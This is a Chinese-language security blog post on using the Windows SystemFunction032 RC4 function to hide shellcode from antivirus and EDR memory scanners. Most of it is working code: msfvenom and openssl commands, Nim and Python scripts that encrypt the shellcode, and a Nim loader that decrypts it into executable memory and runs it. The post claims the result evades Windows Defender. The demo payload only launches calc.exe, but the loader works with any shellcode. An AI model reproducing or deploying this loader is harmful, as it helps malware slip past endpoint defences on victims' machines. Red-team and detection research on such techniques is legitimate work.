SystemFunction032函式的免殺研究
2023-01-01由 合天網安實驗室 發表于 農業
如何構建人工神經網路
什麼是SystemFunction032函式?
雖然Benjamin Delphi在2013年就已經在Mimikatz中使用了它,但由於我之前對它的研究並不多,才有了下文。
這個函式能夠透過RC4加密方式對記憶體區域進行加密/解密。例如,ReactOS專案的程式碼中顯示,它需要一個指向RC4_Context結構的指標作為輸入,以及一個指向加密金鑰的指標。
不過,目前來看,除了XOR操作,至少我個人還不知道其他的針對記憶體區域加密/解密的替代函式。但是,你可能在其他研究員的部落格中也讀到過關於規避記憶體掃描器的文章,使用簡單的XOR操作,攻擊者即使是使用了較長的金鑰,也會被AV/EDR供應商檢測到。
初步想法
雖然RC4演算法被認為是不安全的,甚至多年來已經被各個安全廠商研究,但是它為我們提供了一個更好的記憶體規避的方式。如果我們直接使用AES,可能會更節省OpSec。但是一個簡單的單一的Windows API是非常易於使用的。
通常情況下,如果你想在一個程序中執行Shellcode,你需要執行以下步驟。
1、開啟一個到程序的控制代碼
2、在該程序中分配具有RW/RX或RWX許可權的記憶體
3、將Shellcode寫入該區域
4、(可選)將許可權從RW改為RX,以便執行
5、以執行緒/APC/回撥/其他方式執行Shellcode。
為了避免基於簽名的檢測,我們可以在執行前對我們的Shellcode進行加密並在執行時解密。
例如,對於AES解密,流程通常是這樣的。
1、開啟一個到程序的控制代碼
2、用RW/RX或RWX的許可權在該程序中分配記憶體
3、解密Shellcode,這樣我們就可以將shellcode的明文寫入記憶體中
4、將Shellcode寫入分配的區域中
5、(可選)把執行的許可權從RW改為RX
6、以執行緒/APC/回撥/其他方式執行Shellcode
在這種情況下,Shellcode本身在寫入記憶體時可能會被發現,例如被使用者區的鉤子程式發現,因為我們需要把指向明文Shellcode的指標傳遞給WriteProcessMemory或NtWriteVirtualMemory。
XOR的使用可以很好的避免這一點,因為我們還可以在將加密的值寫入記憶體後XOR解密記憶體區域。簡單來講就像這樣。
1、為程序開啟一個控制代碼
2、在該程序中以RW/RX或RWX的許可權分配記憶體
3、將Shellcode寫入分配的區域中
4、XOR解密Shellcode的記憶體區域
5、(可選)把執行的許可權從RW改為RX
6、以執行緒/APC/回撥/其他方式執行Shellcode。
但是XOR操作很容易被發現。所以我們儘可能不去使用這種方式。
這裡有一個很好的替代方案,我們可以利用SystemFunction032來解密Shellcode,然後將其寫入記憶體中。
【——幫助網安學習,以下所有學習資料關注我,私信回覆“資料”獲取——】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
生成POC
首先,我們需要生成Shellcode,然後使用OpenSSL對它進行RC4加密。因此,我們可以使用msfvenom來生成。
msfvenom
-p
windows/x64/exec
CMD
=
calc。exe
-f
raw
-o
calc。bin
cat
calc。bin |
openssl
enc
-rc4
-nosalt
-k
“aaaaaaaaaaaaaaaa”
> enccalc。bin
但後來在除錯時發現,SystemFunction032的加密/解密方式與OpenSSL/RC4不同。所以我們不能這樣做。
最終修改為
openssl enc -rc4 -in calc。bin -K `echo -n ‘aaaaaaaaaaaaaaaa’ | xxd -p` -nosalt > enccalc。bin
我們也可以使用下面的Nim程式碼來獲得一個加密的Shellcode blob(僅Windows作業系統)。
import winim
import winim/lean
# msfvenom -p windows/x64/exec CMD=calc。exe -f raw -o calc。bin
const encstring
=
slurp
“calc。bin”
func toByteSeq*(str: string): seq[byte] {。inline。}
=
## Converts a string to the corresponding byte sequence。
@(str。toOpenArrayByte(0, str。high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{。discardable, stdcall, dynlib:
“Advapi32”
, importc:
“SystemFunction032”
。}
# This is the mentioned RC4 struct
type
USTRING*
=
object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Our encryption Key
var keyBuf: array[16, char]
=
[char
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
]
keyString。Buffer
=
cast[PVOID](&keyBuf)
keyString。Length
=
16
keyString。MaximumLength
=
16
var shellcode
=
toByteSeq(encstring)
var size
=
len(shellcode)
# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess
=
GetCurrentProcessId()
echo
“Current Process ID: ”
, tProcess
var pHandle: HANDLE
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo
“Process Handle: ”
, repr(pHandle)
let rPtr
=
VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
# Fill the RC4 struct
imgString。Buffer
=
rPtr
imgString。Length
=
cast[DWORD](size)
imgString。MaximumLength
=
cast[DWORD](size)
# Call SystemFunction032
SystemFunction032(&imgString, &keyString)
copyMem(addr shellcode[0],rPtr ,size)
echo
“Writing encrypted shellcode to dec。bin”
writeFile(
“enc。bin”
, shellcode)
# enc。bin contains our encrypted Shellcode
之後,又寫出了一個簡單的Python指令碼,用Python指令碼簡化了加密的過程。
#!/usr/bin/env python3
from
typing
import
Iterator
from
base64
import
b64encode
# Stolen from: https://gist。github。com/hsauers5/491f9dde975f1eaa97103427eda50071
def
key_scheduling
(
key
:
bytes
)
->
list
:
sched
=
[
i
for
i
in
range
(
0
,
256
)]
i
=
0
for
j
in
range
(
0
,
256
):
i
=
(
i
+
sched
[
j
]
+
key
[
j
%
len
(
key
)])
%
256
tmp
=
sched
[
j
]
sched
[
j
]
=
sched
[
i
]
sched
[
i
]
=
tmp
return
sched
def
stream_generation
(
sched
:
list
[
int
])
->
Iterator
[
bytes
]:
i
,
j
=
0
,
0
while
True
:
i
=
(
1
+
i
)
%
256
j
=
(
sched
[
i
]
+
j
)
%
256
tmp
=
sched
[
j
]
sched
[
j
]
=
sched
[
i
]
sched
[
i
]
=
tmp
yield
sched
[(
sched
[
i
]
+
sched
[
j
])
%
256
]
def
encrypt
(
plaintext
:
bytes
,
key
:
bytes
)
->
bytes
:
sched
=
key_scheduling
(
key
)
key_stream
=
stream_generation
(
sched
)
ciphertext
=
b‘’
for
char
in
plaintext
:
enc
=
char
^
next
(
key_stream
)
ciphertext
+=
bytes
([
enc
])
return
ciphertext
if
__name__
==
‘__main__’
:
# msfvenom -p windows/x64/exec CMD=calc。exe -f raw -o calc。bin
with
open
(
‘calc。bin’
,
‘rb’
)
as
f
:
result
=
encrypt
(
plaintext
=
f
。
read
(),
key
=
b‘aaaaaaaaaaaaaaaa’
)
(
b64encode
(
result
)。
decode
())
為了執行這個shellcode,我們可以簡單地使用以下Nim程式碼。
import winim
import winim/lean
# (OPTIONAL) do some Environmental Keying stuff
# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring
=
slurp
“enc。bin”
func toByteSeq*(str: string): seq[byte] {。inline。}
=
## Converts a string to the corresponding byte sequence。
@(str。toOpenArrayByte(0, str。high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{。discardable, stdcall, dynlib:
“Advapi32”
, importc:
“SystemFunction032”
。}
type
USTRING*
=
object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Same Key
var keyBuf: array[16, char]
=
[char
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
,
‘a’
]
keyString。Buffer
=
cast[PVOID](&keyBuf)
keyString。Length
=
16
keyString。MaximumLength
=
16
var shellcode
=
toByteSeq(encstring)
var size
=
len(shellcode)
let tProcess
=
GetCurrentProcessId()
echo
“Current Process ID: ”
, tProcess
var pHandle: HANDLE
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr
=
VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
imgString。Buffer
=
rPtr
imgString。Length
=
cast[DWORD](size)
imgString。MaximumLength
=
cast[DWORD](size)
# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)
# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
let f
=
cast[proc(){。nimcall。}](rPtr)
f()
最終效果,至少windows defender不會報毒。
透過使用這個方法,我們幾乎可以忽略使用者區的鉤子程式,因為我們的明文Shellcode從未被傳遞給任何函式(只有SystemFunction032本身)。當然,所有這些供應商都可以透過鉤住Advapi32/SystemFunction032來檢測我們。
後記
之後我想到了一個更加完美的想法。透過使用PIC-Code,我們也可以省去我的PoC中所使用的其他Win32函式。因為在編寫PIC-Code時,所有的程式碼都已經被包含在了。text部分,而這個部分通常預設有RX許可權,這在很多情況下是已經足夠了。所以我們不需要改變記憶體許可權,也不需要把Shellcode寫到記憶體中。
簡單來講是以下這種情況:
1、呼叫SystemFunction032來解密Shellcode
2、直接呼叫它
例如,PIC-Code的樣本程式碼可以在這裡找到。對於Nim語言來說,之前釋出了一個庫,它也能讓我們相對容易地編寫PIC程式碼,叫做Bitmancer。